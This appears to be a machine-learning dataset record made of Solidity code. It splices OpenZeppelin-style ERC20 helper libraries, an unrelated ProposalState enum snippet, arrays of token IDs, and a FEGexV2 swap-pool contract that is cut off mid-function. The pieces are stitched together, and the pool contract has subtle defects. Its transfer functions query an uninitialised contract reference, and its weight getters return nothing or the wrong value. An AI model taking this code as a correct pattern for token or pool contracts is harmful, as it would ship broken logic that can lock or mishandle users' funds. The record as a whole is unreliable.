SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
@notice Possible states that a proposal may be in
enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed }
5,397,784
[ 1, 13576, 5493, 716, 279, 14708, 2026, 506, 316, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2792, 19945, 1119, 288, 203, 3639, 16034, 16, 203, 3639, 8857, 16, 203, 3639, 10347, 329, 16, 203, 3639, 1505, 3030, 690, 16, 203, 3639, 348, 20983, 16, 203, 3639, 27949, 5957, 16, 203, 3639, 7784, 2921, 16, 203, 3639, 3889, 4817, 203, 565, 289, 203, 377, 203, 377, 203, 377, 203, 203, 203, 203, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.7.6; // SPDX-License-Identifier: UNLICENSED abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract FSilver { function getColor() external pure returns (bytes32) { return bytes32("BRONZE"); } } contract FConst is FSilver, ReentrancyGuard { uint public constant BASE = 10**18; uint public constant MIN_BOUND_TOKENS = 2; uint public constant MAX_BOUND_TOKENS = 2; uint public constant MIN_FEE = 2000000000000000; uint public constant MAX_FEE = 2000000000000000; // FREE BUYS and sells pay 0.2% to liquidity providers uint public constant EXIT_FEE = BASE / 100; uint public constant DEFAULT_RESERVES_RATIO = 0; uint public constant MIN_WEIGHT = BASE; uint public constant MAX_WEIGHT = BASE * 50; uint public constant MAX_TOTAL_WEIGHT = BASE * 50; uint public constant MIN_BALANCE = BASE / 10**12; uint public constant INIT_POOL_SUPPLY = BASE * 100; uint public SM = 10; address public FEGstake = 0x04788562Ab11eA3a5201d579e2b3Ee7A3F74F1fA; uint public constant MIN_BPOW_BASE = 1 wei; uint public constant MAX_BPOW_BASE = (2 * BASE) - 1 wei; uint public constant BPOW_PRECISION = BASE / 10**10; uint public constant MAX_IN_RATIO = BASE / 2; uint public constant MAX_OUT_RATIO = (BASE / 3) + 1 wei; uint public MAX_SELL_RATIO = BASE / SM; } contract FNum is ReentrancyGuard, FConst { function btoi(uint a) internal pure returns (uint) { return a / BASE; } function bfloor(uint a) internal pure returns (uint) { return btoi(a) * BASE; } function badd(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "ERR_ADD_OVERFLOW"); return c; } function bsub(uint a, uint b) internal pure returns (uint) { (uint c, bool flag) = bsubSign(a, b); require(!flag, "ERR_SUB_UNDERFLOW"); return c; } function bsubSign(uint a, uint b) internal pure returns (uint, bool) { if (a >= b) { return (a - b, false); } else { return (b - a, true); } } function bmul(uint a, uint b) internal pure returns (uint) { uint c0 = a * b; require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW"); uint c1 = c0 + (BASE / 2); require(c1 >= c0, "ERR_MUL_OVERFLOW"); uint c2 = c1 / BASE; return c2; } function bdiv(uint a, uint b) internal pure returns (uint) { require(b != 0, "ERR_DIV_ZERO"); uint c0 = a * BASE; require(a == 0 || c0 / a == BASE, "ERR_DIV_INTERNAL"); // bmul overflow uint c1 = c0 + (b / 2); require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require uint c2 = c1 / b; return c2; } function bpowi(uint a, uint n) internal pure returns (uint) { uint z = n % 2 != 0 ? a : BASE; for (n /= 2; n != 0; n /= 2) { a = bmul(a, a); if (n % 2 != 0) { z = bmul(z, a); } } return z; } function bpow(uint base, uint exp) internal pure returns (uint) { require(base >= MIN_BPOW_BASE, "ERR_BPOW_BASE_TOO_LOW"); require(base <= MAX_BPOW_BASE, "ERR_BPOW_BASE_TOO_HIGH"); uint whole = bfloor(exp); uint remain = bsub(exp, whole); uint wholePow = bpowi(base, btoi(whole)); if (remain == 0) { return wholePow; } uint partialResult = bpowApprox(base, remain, BPOW_PRECISION); return bmul(wholePow, partialResult); } function bpowApprox(uint base, uint exp, uint precision) internal pure returns (uint) { uint a = exp; (uint x, bool xneg) = bsubSign(base, BASE); uint term = BASE; uint sum = term; bool negative = false; for (uint i = 1; term >= precision; i++) { uint bigK = i * BASE; (uint c, bool cneg) = bsubSign(a, bsub(bigK, BASE)); term = bmul(term, bmul(c, x)); term = bdiv(term, bigK); if (term == 0) break; if (xneg) negative = !negative; if (cneg) negative = !negative; if (negative) { sum = bsub(sum, term); } else { sum = badd(sum, term); } } return sum; } } contract FMath is FSilver, FConst, FNum { function calcSpotPrice( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint swapFee ) public pure returns (uint spotPrice) { uint numer = bdiv(tokenBalanceIn, tokenWeightIn); uint denom = bdiv(tokenBalanceOut, tokenWeightOut); uint ratio = bdiv(numer, denom); uint scale = bdiv(BASE, bsub(BASE, swapFee)); return (spotPrice = bmul(ratio, scale)); } function calcOutGivenIn( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint tokenAmountIn, uint swapFee ) public pure returns (uint tokenAmountOut, uint tokenInFee) { uint weightRatio = bdiv(tokenWeightIn, tokenWeightOut); uint adjustedIn = bsub(BASE, swapFee); adjustedIn = bmul(tokenAmountIn, adjustedIn); uint y = bdiv(tokenBalanceIn, badd(tokenBalanceIn, adjustedIn)); uint foo = bpow(y, weightRatio); uint bar = bsub(BASE, foo); tokenAmountOut = bmul(tokenBalanceOut, bar); tokenInFee = bsub(tokenAmountIn, adjustedIn); return (tokenAmountOut, tokenInFee); } function calcInGivenOut( uint tokenBalanceIn, uint tokenWeightIn, uint tokenBalanceOut, uint tokenWeightOut, uint tokenAmountOut, uint swapFee ) public pure returns (uint tokenAmountIn, uint tokenInFee) { uint weightRatio = bdiv(tokenWeightOut, tokenWeightIn); uint diff = bsub(tokenBalanceOut, tokenAmountOut); uint y = bdiv(tokenBalanceOut, diff); uint foo = bpow(y, weightRatio); foo = bsub(foo, BASE); foo = bmul(tokenBalanceIn, foo); tokenAmountIn = bsub(BASE, swapFee); tokenAmountIn = bdiv(foo, tokenAmountIn); tokenInFee = bdiv(foo, BASE); tokenInFee = bsub(tokenAmountIn, tokenInFee); return (tokenAmountIn, tokenInFee); } function calcPoolOutGivenSingleIn( uint tokenBalanceIn, uint tokenWeightIn, uint poolSupply, uint totalWeight, uint tokenAmountIn, uint swapFee, uint reservesRatio ) public pure returns (uint poolAmountOut, uint reserves) { uint normalizedWeight = bdiv(tokenWeightIn, totalWeight); uint zaz = bmul(bsub(BASE, normalizedWeight), swapFee); uint tokenAmountInAfterFee = bmul(tokenAmountIn, bsub(BASE, zaz)); reserves = calcReserves(tokenAmountIn, tokenAmountInAfterFee, reservesRatio); uint newTokenBalanceIn = badd(tokenBalanceIn, tokenAmountInAfterFee); uint tokenInRatio = bdiv(newTokenBalanceIn, tokenBalanceIn); uint poolRatio = bpow(tokenInRatio, normalizedWeight); uint newPoolSupply = bmul(poolRatio, poolSupply); poolAmountOut = bsub(newPoolSupply, poolSupply); return (poolAmountOut, reserves); } function calcSingleOutGivenPoolIn( uint tokenBalanceOut, uint tokenWeightOut, uint poolSupply, uint totalWeight, uint poolAmountIn, uint swapFee ) public pure returns (uint tokenAmountOut) { uint normalizedWeight = bdiv(tokenWeightOut, totalWeight); uint poolAmountInAfterExitFee = bmul(poolAmountIn, bsub(BASE, EXIT_FEE)); uint newPoolSupply = bsub(poolSupply, poolAmountInAfterExitFee); uint poolRatio = bdiv(newPoolSupply, poolSupply); uint tokenOutRatio = bpow(poolRatio, bdiv(BASE, normalizedWeight)); uint newTokenBalanceOut = bmul(tokenOutRatio, tokenBalanceOut); uint tokenAmountOutBeforeSwapFee = bsub(tokenBalanceOut, newTokenBalanceOut); uint zaz = bmul(bsub(BASE, normalizedWeight), swapFee); tokenAmountOut = bmul(tokenAmountOutBeforeSwapFee, bsub(BASE, zaz)); return tokenAmountOut; } function calcPoolInGivenSingleOut( uint tokenBalanceOut, uint tokenWeightOut, uint poolSupply, uint totalWeight, uint tokenAmountOut, uint swapFee, uint reservesRatio ) public pure returns (uint poolAmountIn, uint reserves) { uint normalizedWeight = bdiv(tokenWeightOut, totalWeight); uint zar = bmul(bsub(BASE, normalizedWeight), swapFee); uint tokenAmountOutBeforeSwapFee = bdiv(tokenAmountOut, bsub(BASE, zar)); reserves = calcReserves(tokenAmountOutBeforeSwapFee, tokenAmountOut, reservesRatio); uint newTokenBalanceOut = bsub(tokenBalanceOut, tokenAmountOutBeforeSwapFee); uint tokenOutRatio = bdiv(newTokenBalanceOut, tokenBalanceOut); uint poolRatio = bpow(tokenOutRatio, normalizedWeight); uint newPoolSupply = bmul(poolRatio, poolSupply); uint poolAmountInAfterExitFee = bsub(poolSupply, newPoolSupply); poolAmountIn = bdiv(poolAmountInAfterExitFee, bsub(BASE, EXIT_FEE)); return (poolAmountIn, reserves); } function calcReserves(uint amountWithFee, uint amountWithoutFee, uint reservesRatio) internal pure returns (uint reserves) { require(amountWithFee >= amountWithoutFee, "ERR_MATH_APPROX"); require(reservesRatio <= BASE, "ERR_INVALID_RESERVE"); uint swapFeeAndReserves = bsub(amountWithFee, amountWithoutFee); reserves = bmul(swapFeeAndReserves, reservesRatio); require(swapFeeAndReserves >= reserves, "ERR_MATH_APPROX"); } function calcReservesFromFee(uint fee, uint reservesRatio) internal pure returns (uint reserves) { require(reservesRatio <= BASE, "ERR_INVALID_RESERVE"); reserves = bmul(fee, reservesRatio); } } interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address whom) external view returns (uint); function allowance(address src, address dst) external view returns (uint); function approve(address dst, uint amt) external returns (bool); function transfer(address dst, uint amt) external returns (bool); function transferFrom( address src, address dst, uint amt ) external returns (bool); } interface wrap { function deposit() external payable; function withdraw(uint amt) external; function transfer(address recipient, uint256 amount) external returns (bool); } library TransferHelper { function safeApprove(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } contract FTokenBase is ReentrancyGuard, FNum { mapping(address => uint) internal _balance; mapping(address => mapping(address=>uint)) internal _allowance; uint internal _totalSupply; event Approval(address indexed src, address indexed dst, uint amt); event Transfer(address indexed src, address indexed dst, uint amt); function _mint(uint amt) internal { _balance[address(this)] = badd(_balance[address(this)], amt); _totalSupply = badd(_totalSupply, amt); emit Transfer(address(0), address(this), amt); } function _burn(uint amt) internal { require(_balance[address(this)] >= amt); _balance[address(this)] = bsub(_balance[address(this)], amt); _totalSupply = bsub(_totalSupply, amt); emit Transfer(address(this), address(0), amt); } function _move(address src, address dst, uint amt) internal { require(_balance[src] >= amt); _balance[src] = bsub(_balance[src], amt); _balance[dst] = badd(_balance[dst], amt); emit Transfer(src, dst, amt); } function _push(address to, uint amt) internal { _move(address(this), to, amt); } function _pull(address from, uint amt) internal { _move(from, address(this), amt); } } contract FToken is ReentrancyGuard, FTokenBase { string private _name = "FEGexV2"; string private _symbol = "FEGfETH"; uint8 private _decimals = 18; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function allowance(address src, address dst) external view returns (uint) { return _allowance[src][dst]; } function balanceOf(address whom) external view returns (uint) { return _balance[whom]; } function totalSupply() public view returns (uint) { return _totalSupply; } function approve(address dst, uint amt) external returns (bool) { _allowance[msg.sender][dst] = amt; emit Approval(msg.sender, dst, amt); return true; } function increaseApproval(address dst, uint amt) external returns (bool) { _allowance[msg.sender][dst] = badd(_allowance[msg.sender][dst], amt); emit Approval(msg.sender, dst, _allowance[msg.sender][dst]); return true; } function decreaseApproval(address dst, uint amt) external returns (bool) { uint oldValue = _allowance[msg.sender][dst]; if (amt > oldValue) { _allowance[msg.sender][dst] = 0; } else { _allowance[msg.sender][dst] = bsub(oldValue, amt); } emit Approval(msg.sender, dst, _allowance[msg.sender][dst]); return true; } function transfer(address dst, uint amt) external returns (bool) { FEGexV2 ulock; bool getlock = ulock.getUserLock(msg.sender); require(getlock == true, 'Liquidity is locked, you cannot remove liquidity until after lock time.'); _move(msg.sender, dst, amt); return true; } function transferFrom(address src, address dst, uint amt) external returns (bool) { require(msg.sender == src || amt <= _allowance[src][msg.sender]); FEGexV2 ulock; bool getlock = ulock.getUserLock(msg.sender); require(getlock == true, 'Transfer is Locked '); _move(src, dst, amt); if (msg.sender != src && _allowance[src][msg.sender] != uint256(-1)) { _allowance[src][msg.sender] = bsub(_allowance[src][msg.sender], amt); emit Approval(msg.sender, dst, _allowance[src][msg.sender]); } return true; } } contract FEGexV2 is FSilver, ReentrancyGuard, FToken, FMath { struct Record { bool bound; // is token bound to pool uint denorm; // denormalized weight will always be even uint index; uint balance; } struct userLock { bool setLock; // true = locked, false = unlocked uint unlockTime; } function getUserLock(address usr) public view returns(bool lock){ return _userlock[usr].setLock; } event LOG_SWAP( address indexed caller, address indexed tokenIn, address indexed tokenOut, uint256 tokenAmountIn, uint256 tokenAmountOut ); event LOG_JOIN( address indexed caller, address indexed tokenIn, uint256 tokenAmountIn, uint256 reservesAmount ); event LOG_EXIT( address indexed caller, address indexed tokenOut, uint256 tokenAmountOut, uint256 reservesAmount ); event LOG_CLAIM_RESERVES( address indexed caller, address indexed tokenOut, uint256 tokenAmountOut ); event LOG_ADD_RESERVES( address indexed token, uint256 reservesAmount ); event LOG_CALL( bytes4 indexed sig, address indexed caller, bytes data ) anonymous; modifier _logs_() { emit LOG_CALL(msg.sig, msg.sender, msg.data); _; } modifier _lock_() { require(!_mutex); _mutex = true; _; _mutex = false; } modifier _viewlock_() { require(!_mutex); _; } bool private _mutex; wrap wrapp; address private _factory = 0x1Eb421973d639C3422904c65Cccc2972b37a17e8; address private _controller = 0x4c9BC793716e8dC05d1F48D8cA8f84318Ec3043C; address private _poolOwner; address public Wrap = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332; address public Token = 0x389999216860AB8E0175387A0c90E5c52522C945; address public pairRewardPool = 0x94D4Ac11689C6EbbA91cDC1430fc7dfa9a858753; address public burn = 0x000000000000000000000000000000000000dEaD; uint public FSS = 25; // FEGstake Share uint public PSS = 20; // pairRewardPool Share uint public RPF = 1000; //Smart Rising Price Floor Setting uint public SHR = 995; //p2p fee Token uint public SHR1 = 997; //p2p fee Wrap uint private _swapFee; address[] private _tokens; uint256 public _totalSupply1; uint256 public _totalSupply2; bool public live = false; mapping(address=>Record) private _records; mapping(address=>userLock) public _userlock; mapping(address=>userLock) public _unlockTime; mapping(address=>bool) public whiteListContract; mapping(address => uint256) private _balances1; mapping(address => uint256) private _balances2; uint private _totalWeight; constructor() { wrapp = wrap(Wrap); _poolOwner = msg.sender; //pairRewardPool = msg.sender; _swapFee = MIN_FEE; } receive() external payable { } function userBalanceInternal(address _addr) public view returns (uint256 token, uint256 fwrap) { return (_balances1[_addr], _balances2[_addr]); } function isContract(address account) internal view returns (bool) { if(IsWhiteListContract(account)) { return false; } bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function addWhiteListContract(address _addy, bool boolean) public { require(msg.sender == _controller); require(_addy != address(0), "setting 0 address;;"); whiteListContract[_addy] = boolean; } function IsWhiteListContract(address _addy) public view returns(bool){ require(_addy != address(0), "setting 0 address;;"); return whiteListContract[_addy]; } modifier noContract() { require(isContract(msg.sender) == false, 'Unapproved contracts are not allowed to interact with the swap'); _; } function setMaxSellRatio(uint256 _amount) public { require(msg.sender == _poolOwner, "You do not have permission"); require (_amount > 0, "cannot turn off"); require (_amount <= 100, "cannot set under 1%"); SM = _amount; } function setStakePool(address _addy) public { require(msg.sender == _controller); FEGstake = _addy; } function setPairRewardPool(address _addy) public { require(msg.sender == _controller); pairRewardPool = _addy; } function setupWrap() public { IERC20(address(this)).approve(address(Wrap), 100000000000000000e18); } function isBound(address t) external view returns (bool) { return _records[t].bound; } function getFinalTokens() external view _viewlock_ returns (address[] memory tokens) { return _tokens; } function getDenormalizedWeight(address token) external view _viewlock_ { require(_records[token].bound); } function getTotalDenormalizedWeight() external view _viewlock_ returns (uint) { return _totalWeight; } function getNormalizedWeight(address token) external view _viewlock_ returns (uint) { require(_records[token].bound); return _totalWeight; } function getBalance(address token) external view _viewlock_ returns (uint) { require(_records[token].bound); return _records[token].balance; } function getSwapFee() external view _viewlock_ returns (uint) { return _swapFee; } function getController() external view _viewlock_ returns (address) { return _controller; } function setController(address manager) external _logs_ _lock_ { require(msg.sender == _controller); _controller = manager; } function deploySwap (uint256 amtoftoken, uint256 amtofwrap) external { require(msg.sender == _poolOwner); require(live == false); address tokenIn = Token; address tokenIn1 = Wrap; _records[Token] = Record({ bound: true, denorm: BASE * 25, index: _tokens.length, balance: (amtoftoken * 98/100) }); _records[Wrap] = Record({ bound: true, denorm: BASE * 25, index: _tokens.length, balance: (amtofwrap * 99/100) }); live = true; _tokens.push(Token); _tokens.push(Wrap); _pullUnderlying(tokenIn, msg.sender, amtoftoken); _pullUnderlying(tokenIn1, msg.sender, amtofwrap); _mint(INIT_POOL_SUPPLY); _pushPoolShare(msg.sender, INIT_POOL_SUPPLY); address user = msg.sender; userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; ulock.setLock = true; time.unlockTime = block.timestamp + 365 days ; } function saveLostTokens(address token, uint amount) external _logs_ _lock_ { require(msg.sender == _controller); require(!_records[token].bound); uint bal = IERC20(token).balanceOf(address(this)); require(amount <= bal); _pushUnderlying(token, msg.sender, amount); } function getSpotPrice(address tokenIn, address tokenOut) external view _viewlock_ returns (uint spotPrice) { require(_records[tokenIn].bound, "ERR_NOT_BOUND"); require(_records[tokenOut].bound, "ERR_NOT_BOUND"); Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = 